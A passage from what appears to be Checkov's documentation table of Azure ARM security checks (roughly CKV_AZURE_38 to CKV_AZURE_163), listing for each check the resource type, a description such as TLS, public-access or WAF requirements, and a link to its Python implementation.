that Activity Log Retention is set 365 days or greater                                                     | arm   | [MonitorLogProfileRetentionDays.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileRetentionDays.py)                                                         |\n|  49 | CKV_AZURE_38  | resource  | Microsoft.Insights/logprofiles                                               | Ensure audit profile captures all the activities                                                                  | arm   | [MonitorLogProfileCategories.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MonitorLogProfileCategories.py)                                                               |\n|  50 | CKV_AZURE_39  | resource  | Microsoft.Authorization/roleDefinitions                                      | Ensure that no custom subscription owner roles are created                                                        | arm   | [CustomRoleDefinitionSubscriptionOwner.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CustomRoleDefinitionSubscriptionOwner.py)                                           |\n|  51 | CKV_AZURE_40  | resource  | Microsoft.KeyVault/vaults/keys                                               | Ensure that the expiration date is set on all keys                                                                | arm   | [KeyExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyExpirationDate.py)                                                                                   |\n|  52 | CKV_AZURE_41  | resource  | Microsoft.KeyVault/vaults/secrets                                            | Ensure that the expiration date is set on all secrets                                                             | arm   | [SecretExpirationDate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretExpirationDate.py)                                                                             |\n|  53 | CKV_AZURE_42  | resource  | Microsoft.KeyVault/vaults                                                    | Ensure the key vault is recoverable                                                                               | arm   | [KeyvaultRecoveryEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyvaultRecoveryEnabled.py)                                                                       |\n|  54 | CKV_AZURE_43  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure Storage Accounts adhere to the naming rules                                                                | arm   | [StorageAccountName.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountName.py)                                                                                 |\n|  55 | CKV_AZURE_44  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure Storage Account is using the latest version of TLS encryption                                              | arm   | [StorageAccountMinimumTlsVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py)                                                       |\n|  56 | CKV_AZURE_45  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that no sensitive credentials are exposed in VM custom_data                                                | arm   | [VMCredsInCustomData.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMCredsInCustomData.py)                                                                               |\n|  57 | CKV_AZURE_47  | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure 'Enforce SSL connection' is set to 'ENABLED' for MariaDB servers                                           | arm   | [MariaDBSSLEnforcementEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBSSLEnforcementEnabled.py)                                                             |\n|  58 | CKV_AZURE_48  | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure 'public network access enabled' is set to 'False' for MariaDB servers                                      | arm   | [MariaDBPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBPublicAccessDisabled.py)                                                               |\n|  59 | CKV_AZURE_49  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure Azure linux scale set does not use basic authentication(Use SSH Key Instead)                               | arm   | [AzureScaleSetPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureScaleSetPassword.py)                                                                           |\n|  60 | CKV_AZURE_50  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Virtual Machine Extensions are not Installed                                                               | arm   | [AzureInstanceExtensions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureInstanceExtensions.py)                                                                       |\n|  61 | CKV_AZURE_52  | resource  | Microsoft.Sql/servers                                                        | Ensure MSSQL is using the latest version of TLS encryption                                                        | arm   | [MSSQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MSSQLServerMinTLSVersion.py)                                                                     |\n|  62 | CKV_AZURE_53  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                        | arm   | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                   |\n|  63 | CKV_AZURE_53  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure 'public network access enabled' is set to 'False' for mySQL servers                                        | arm   | [MySQLPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLPublicAccessDisabled.py)                                                                   |\n|  64 | CKV_AZURE_54  | resource  | Microsoft.DBforMySQL/servers                                                 | Ensure MySQL is using the latest version of TLS encryption                                                        | arm   | [MySQLServerMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLServerMinTLSVersion.py)                                                                     |\n|  65 | CKV_AZURE_56  | resource  | Microsoft.Web/sites/config                                                   | Ensure that function apps enables Authentication                                                                  | arm   | [FunctionAppsEnableAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsEnableAuthentication.py)                                                     |\n|  66 | CKV_AZURE_57  | resource  | Microsoft.Web/sites                                                          | Ensure that CORS disallows every resource to access app services                                                  | arm   | [AppServiceDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDisallowCORS.py)                                                                         |\n|  67 | CKV_AZURE_58  | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Azure Synapse workspaces enables managed virtual networks                                             | arm   | [SynapseWorkspaceEnablesManagedVirtualNetworks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py)                           |\n|  68 | CKV_AZURE_59  | resource  | Microsoft.Storage/storageAccounts                                            | Ensure that Storage accounts disallow public access                                                               | arm   | [StorageAccountDisablePublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py)                                                   |\n|  69 | CKV_AZURE_62  | resource  | Microsoft.Web/sites                                                          | Ensure function apps are not accessible from all regions                                                          | arm   | [FunctionAppDisallowCORS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppDisallowCORS.py)                                                                       |\n|  70 | CKV_AZURE_63  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables HTTP logging                                                                      | arm   | [AppServiceHttpLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceHttpLoggingEnabled.py)                                                             |\n|  71 | CKV_AZURE_64  | resource  | Microsoft.StorageSync/storageSyncServices                                    | Ensure that Azure File Sync disables public network access                                                        | arm   | [StorageSyncPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py)                                                       |\n|  72 | CKV_AZURE_65  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables detailed error messages                                                           | arm   | [AppServiceDetailedErrorMessagesEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDetailedErrorMessagesEnabled.py)                                         |\n|  73 | CKV_AZURE_66  | resource  | Microsoft.Web/sites/config                                                   | Ensure that App service enables failed request tracing                                                            | arm   | [AppServiceEnableFailedRequest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceEnableFailedRequest.py)                                                           |\n|  74 | CKV_AZURE_67  | resource  | Microsoft.Web/sites                                                          | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                         | arm   | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                             |\n|  75 | CKV_AZURE_67  | resource  | Microsoft.Web/sites/slots                                                    | Ensure that 'HTTP Version' is the latest, if used to run the Function app                                         | arm   | [FunctionAppHttpVersionLatest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppHttpVersionLatest.py)                                                             |\n|  76 | CKV_AZURE_68  | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server disables public network access                                                      | arm   | [PostgreSQLServerPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLServerPublicAccessDisabled.py)                                             |\n|  77 | CKV_AZURE_70  | resource  | Microsoft.Web/sites                                                          | Ensure that Function apps is only accessible over HTTPS                                                           | arm   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  78 | CKV_AZURE_70  | resource  | Microsoft.Web/sites/config                                                   | Ensure that Function apps is only accessible over HTTPS                                                           | arm   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  79 | CKV_AZURE_70  | resource  | Microsoft.Web/sites/slots                                                    | Ensure that Function apps is only accessible over HTTPS                                                           | arm   | [FunctionAppsAccessibleOverHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppsAccessibleOverHttps.py)                                                       |\n|  80 | CKV_AZURE_71  | resource  | Microsoft.Web/sites                                                          | Ensure that Managed identity provider is enabled for web apps                                                     | arm   | [AppServiceIdentityProviderEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceIdentityProviderEnabled.py)                                                   |\n|  81 | CKV_AZURE_72  | resource  | Microsoft.Web/sites                                                          | Ensure that remote debugging is not enabled for app services                                                      | arm   | [AppServiceRemoteDebuggingNotEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceRemoteDebuggingNotEnabled.py)                                               |\n|  82 | CKV_AZURE_73  | resource  | Microsoft.Automation/automationAccounts/variables                            | Ensure that Automation account variables are encrypted                                                            | arm   | [AutomationEncrypted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AutomationEncrypted.py)                                                                               |\n|  83 | CKV_AZURE_74  | resource  | Microsoft.Kusto/clusters                                                     | Ensure that Azure Data Explorer (Kusto) uses disk encryption                                                      | arm   | [DataExplorerUsesDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataExplorerUsesDiskEncryption.py)                                                         |\n|  84 | CKV_AZURE_75  | resource  | Microsoft.Kusto/clusters                                                     | Ensure that Azure Data Explorer uses double encryption                                                            | arm   | [AzureDataExplorerDoubleEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDataExplorerDoubleEncryptionEnabled.py)                                     |\n|  85 | CKV_AZURE_76  | resource  | Microsoft.Batch/batchAccounts                                                | Ensure that Azure Batch account uses key vault to encrypt data                                                    | arm   | [AzureBatchAccountUsesKeyVaultEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureBatchAccountUsesKeyVaultEncryption.py)                                       |\n|  86 | CKV_AZURE_78  | resource  | Microsoft.Web/sites                                                          | Ensure FTP deployments are disabled                                                                               | arm   | [AppServiceFTPSState.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceFTPSState.py)                                                                               |\n|  87 | CKV_AZURE_79  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for SQL servers on machines                                               | arm   | [AzureDefenderOnSqlServersVMS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnSqlServersVMS.py)                                                             |\n|  88 | CKV_AZURE_80  | resource  | Microsoft.Web/sites/config                                                   | Ensure that 'Net Framework' version is the latest, if used as a part of the web app                               | arm   | [AppServiceDotnetFrameworkVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceDotnetFrameworkVersion.py)                                                     |\n|  89 | CKV_AZURE_81  | resource  | Microsoft.Web/sites                                                          | Ensure that 'PHP version' is the latest, if used to run the web app                                               | arm   | [AppServicePHPVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePHPVersion.py)                                                                             |\n|  90 | CKV_AZURE_82  | resource  | Microsoft.Web/sites                                                          | Ensure that 'Python version' is the latest, if used to run the web app                                            | arm   | [AppServicePythonVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePythonVersion.py)                                                                       |\n|  91 | CKV_AZURE_83  | resource  | Microsoft.Web/sites                                                          | Ensure that 'Java version' is the latest, if used to run the web app                                              | arm   | [AppServiceJavaVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceJavaVersion.py)                                                                           |\n|  92 | CKV_AZURE_84  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Storage                                                               | arm   | [AzureDefenderOnStorage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnStorage.py)                                                                         |\n|  93 | CKV_AZURE_85  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Kubernetes                                                            | arm   | [AzureDefenderOnKubernetes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKubernetes.py)                                                                   |\n|  94 | CKV_AZURE_87  | resource  | Microsoft.Security/pricings                                                  | Ensure that Azure Defender is set to On for Key Vault                                                             | arm   | [AzureDefenderOnKeyVaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureDefenderOnKeyVaults.py)                                                                     |\n|  95 | CKV_AZURE_88  | resource  | Microsoft.Web/sites/config                                                   | Ensure that app services use Azure Files                                                                          | arm   | [AppServiceUsedAzureFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceUsedAzureFiles.py)                                                                     |\n|  96 | CKV_AZURE_89  | resource  | Microsoft.Cache/redis                                                        | Ensure that Azure Cache for Redis disables public network access                                                  | arm   | [RedisCachePublicNetworkAccessEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/RedisCachePublicNetworkAccessEnabled.py)                                             |\n|  97 | CKV_AZURE_92  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual Machines use managed disks                                                                    | arm   | [VMStorageOsDisk.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMStorageOsDisk.py)                                                                                       |\n|  98 | CKV_AZURE_93  | resource  | Microsoft.Compute/disks                                                      | Ensure that managed disks use a specific set of disk encryption sets for the customer-managed key encryption      | arm   | [AzureManagedDiskEncryptionSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureManagedDiskEncryptionSet.py)                                                           |\n|  99 | CKV_AZURE_94  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure that My SQL server enables geo-redundant backups                                                           | arm   | [MySQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLGeoBackupEnabled.py)                                                                           |\n| 100 | CKV_AZURE_95  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets                                 | arm   | [VMScaleSetsAutoOSImagePatchingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py)                                           |\n| 101 | CKV_AZURE_96  | resource  | Microsoft.DBforMySQL/flexibleServers                                         | Ensure that MySQL server enables infrastructure encryption                                                        | arm   | [MySQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MySQLEncryptionEnabled.py)                                                                         |\n| 102 | CKV_AZURE_97  | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that Virtual machine scale sets have encryption at host enabled                                            | arm   | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                   |\n| 103 | CKV_AZURE_97  | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual machine scale sets have encryption at host enabled                                            | arm   | [VMEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py)                                                                   |\n| 104 | CKV_AZURE_99  | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure Cosmos DB accounts have restricted access                                                                  | arm   | [CosmosDBAccountsRestrictedAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBAccountsRestrictedAccess.py)                                                     |\n| 105 | CKV_AZURE_100 | resource  | Microsoft.DocumentDb/databaseAccounts                                        | Ensure that Cosmos DB accounts have customer-managed keys to encrypt data at rest                                 | arm   | [CosmosDBHaveCMK.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBHaveCMK.py)                                                                                       |\n| 106 | CKV_AZURE_101 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure that Azure Cosmos DB disables public network access                                                        | arm   | [CosmosDBDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisablesPublicNetwork.py)                                                           |\n| 107 | CKV_AZURE_102 | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server enables geo-redundant backups                                                       | arm   | [PostgressSQLGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgressSQLGeoBackupEnabled.py)                                                             |\n| 108 | CKV_AZURE_103 | resource  | Microsoft.DataFactory/factories                                              | Ensure that Azure Data Factory uses Git repository for source control                                             | arm   | [DataFactoryUsesGitRepository.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryUsesGitRepository.py)                                                             |\n| 109 | CKV_AZURE_104 | resource  | Microsoft.DataFactory/factories                                              | Ensure that Azure Data factory public network access is disabled                                                  | arm   | [DataFactoryNoPublicNetworkAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataFactoryNoPublicNetworkAccess.py)                                                     |\n| 110 | CKV_AZURE_105 | resource  | Microsoft.DataLakeStore/accounts                                             | Ensure that Data Lake Store accounts enables encryption                                                           | arm   | [DataLakeStoreEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DataLakeStoreEncryption.py)                                                                       |\n| 111 | CKV_AZURE_107 | resource  | Microsoft.ApiManagement/service                                              | Ensure that API management services use virtual networks                                                          | arm   | [APIServicesUseVirtualNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/APIServicesUseVirtualNetwork.py)                                                             |\n| 112 | CKV_AZURE_109 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault allows firewall rules settings                                                              | arm   | [KeyVaultEnablesFirewallRulesSettings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesFirewallRulesSettings.py)                                             |\n| 113 | CKV_AZURE_110 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault enables purge protection                                                                    | arm   | [KeyVaultEnablesPurgeProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesPurgeProtection.py)                                                         |\n| 114 | CKV_AZURE_111 | resource  | Microsoft.KeyVault/vaults                                                    | Ensure that key vault enables soft delete                                                                         | arm   | [KeyVaultEnablesSoftDelete.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyVaultEnablesSoftDelete.py)                                                                   |\n| 115 | CKV_AZURE_112 | resource  | Microsoft.KeyVault/vaults/keys                                               | Ensure that key vault key is backed by HSM                                                                        | arm   | [KeyBackedByHSM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/KeyBackedByHSM.py)                                                                                         |\n| 116 | CKV_AZURE_113 | resource  | Microsoft.Sql/servers                                                        | Ensure that SQL server disables public network access                                                             | arm   | [SQLServerHasPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLServerHasPublicAccessDisabled.py)                                                     |\n| 117 | CKV_AZURE_114 | resource  | Microsoft.KeyVault/vaults/secrets                                            | Ensure that key vault secrets have \"content_type\" set                                                             | arm   | [SecretContentType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SecretContentType.py)                                                                                   |\n| 118 | CKV_AZURE_121 | resource  | Microsoft.Network/frontDoors                                                 | Ensure that Azure Front Door enables WAF                                                                          | arm   | [AzureFrontDoorEnablesWAF.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFrontDoorEnablesWAF.py)                                                                     |\n| 119 | CKV_AZURE_123 | resource  | Microsoft.Network/FrontDoorWebApplicationFirewallPolicies                    | Ensure that Azure Front Door uses WAF in \"Detection\" or \"Prevention\" modes                                        | arm   | [FrontdoorUseWAFMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontdoorUseWAFMode.py)                                                                               |\n| 120 | CKV_AZURE_125 | resource  | Microsoft.ServiceFabric/clusters                                             | Ensures that Service Fabric use three levels of protection available                                              | arm   | [AzureServiceFabricClusterProtectionLevel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureServiceFabricClusterProtectionLevel.py)                                     |\n| 121 | CKV_AZURE_129 | resource  | Microsoft.DBforMariaDB/servers                                               | Ensure that MariaDB server enables geo-redundant backups                                                          | arm   | [MariaDBGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/MariaDBGeoBackupEnabled.py)                                                                       |\n| 122 | CKV_AZURE_130 | resource  | Microsoft.DBforPostgreSQL/servers                                            | Ensure that PostgreSQL server enables infrastructure encryption                                                   | arm   | [PostgreSQLEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/PostgreSQLEncryptionEnabled.py)                                                               |\n| 123 | CKV_AZURE_131 | parameter | secureString                                                                 | SecureString parameter should not have hardcoded default values                                                   | arm   | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py)                                          |\n| 124 | CKV_AZURE_132 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes                      | arm   | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py)                                                           |\n| 125 | CKV_AZURE_133 | resource  | Microsoft.Network/frontdoorWebApplicationFirewallPolicies                    | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell                        | arm   | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py)                                                               |\n| 126 | CKV_AZURE_134 | resource  | Microsoft.CognitiveServices/accounts                                         | Ensure that Cognitive Services accounts disable public network access                                             | arm   | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py)                                         |\n| 127 | CKV_AZURE_135 | resource  | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies           | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell               | arm   | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py)                                                             |\n| 128 | CKV_AZURE_137 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure ACR admin account is disabled                                                                              | arm   | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py)                                                                       |\n| 129 | CKV_AZURE_138 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensures that ACR disables anonymous pulling of images                                                             | arm   | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py)                                                                     |\n| 130 | CKV_AZURE_139 | resource  | Microsoft.ContainerRegistry/registries                                       | Ensure ACR set to disable public networking                                                                       | arm   | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py)                                                         |\n| 131 | CKV_AZURE_140 | resource  | Microsoft.DocumentDB/databaseAccounts                                        | Ensure that Local Authentication is disabled on CosmosDB                                                          | arm   | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py)                                                                   |\n| 132 | CKV_AZURE_141 | resource  | Microsoft.ContainerService/managedClusters                                   | Ensure AKS local admin account is disabled                                                                        | arm   | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py)                                                                           |\n| 133 | CKV_AZURE_145 | resource  | Microsoft.Web/sites                                                          | Ensure Function app is using the latest version of TLS encryption                                                 | arm   | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                     |\n| 134 | CKV_AZURE_145 | resource  | Microsoft.Web/sites/slots                                                    | Ensure Function app is using the latest version of TLS encryption                                                 | arm   | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py)                                                                     |\n| 135 | CKV_AZURE_149 | resource  | Microsoft.Compute/virtualMachineScaleSets                                    | Ensure that Virtual machine does not enable password authentication                                               | arm   | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                       |\n| 136 | CKV_AZURE_149 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure that Virtual machine does not enable password authentication                                               | arm   | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py)                                                       |\n| 137 | CKV_AZURE_151 | resource  | Microsoft.Compute/virtualMachines                                            | Ensure Windows VM enables encryption                                                                              | arm   | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py)                                                                           |\n| 138 | CKV_AZURE_153 | resource  | Microsoft.Web/sites                                                          | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                      | arm   | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                       |\n| 139 | CKV_AZURE_153 | resource  | Microsoft.Web/sites/slots                                                    | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot                                      | arm   | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py)                                                                       |\n| 140 | CKV_AZURE_155 | resource  | Microsoft.Web/sites                                                          | Ensure debugging is disabled for the App service slot                                                             | arm   | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                               |\n| 141 | CKV_AZURE_155 | resource  | Microsoft.Web/sites/slots                                                    | Ensure debugging is disabled for the App service slot                                                             | arm   | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py)                                                               |\n| 142 | CKV_AZURE_157 | resource  | Microsoft.Synapse/workspaces                                                 | Ensure that Synapse workspace has data_exfiltration_protection_enabled                                            | arm   | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py)                                 |\n| 143 | CKV_AZURE_158 | resource  | Microsoft.Databricks/workspaces                                              | Ensure Databricks Workspace data plane to control plane communication happens over private link                   | arm   | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py)                                                         |\n| 144 | CKV_AZURE_160 | resource  | Microsoft.Network/networkSecurityGroups                                      | Ensure that HTTP (port 80) access is restricted from the internet                                                 | arm   | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                               |\n| 145 | CKV_AZURE_160 | resource  | Microsoft.Network/networkSecurityGroups/securityRules                        | Ensure that HTTP (port 80) access is restricted from the internet                                                 | arm   | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py)                                                               |\n| 146 | CKV_AZURE_163 | resource  | Microsoft.ContainerRegistry/registries                                       | Enable vulnerability scanning for container images.                                                               | arm   | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py)                                                                       |\n| 147 | 